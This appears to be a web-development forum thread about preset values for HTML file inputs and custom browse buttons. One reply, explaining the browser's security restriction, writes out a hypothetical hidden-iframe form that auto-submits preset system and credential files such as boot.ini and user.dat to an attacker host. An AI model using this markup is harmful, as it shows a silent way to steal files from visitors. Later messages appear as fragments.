is it possible to define a default or start up directory with input
type="file" field type?
If so, is it also possible to filter by another option box selection?
If so, how so?
Thank you

No, it is not. For security reasons, you cannot pre-specify any sort of
value for a file input. (Unless you run across someone using IE 1 or
something maybe...)

No. What would prevent you from doing this?
<form method=post action=http://nastyserver.com/ target=hiddenfr ame>
<input type=file value='c:\boot. ini'>
<input type=file value='c:\windo ws\system32\use r.dat'>
....
etc etc
....
</form>
<iframe name=hiddenfram e width=1 height=1 style='visibili ty:hidden'>
</iframe>
<script>
document.forms[0].submit();
</script>
I rather like this security mechanism. If your users can't figure out how
to use a browse... dialog, it might be time to upgrade to better users.
>> it might be time to upgrade to better users.
Where do I request this upgrade? I didn't even know I had
that option. Do I send the old ones (users) back to you?

Gosh no. I think I'm about 5 versions ahead of you. :-)

Here is the code. In all three, when I select a file, the complete path

I want to have a separate button which invokes the "browse" button on

All I do is call click() for the input control.
Do you know how to make this work in firefox?

am replacing the default "Browse..." button for input type=file. This works fine except that the form will only submit after the SUBMIT button is clicked twice.
Any ideas on why this is happening or a workaround? I'm testing on IE
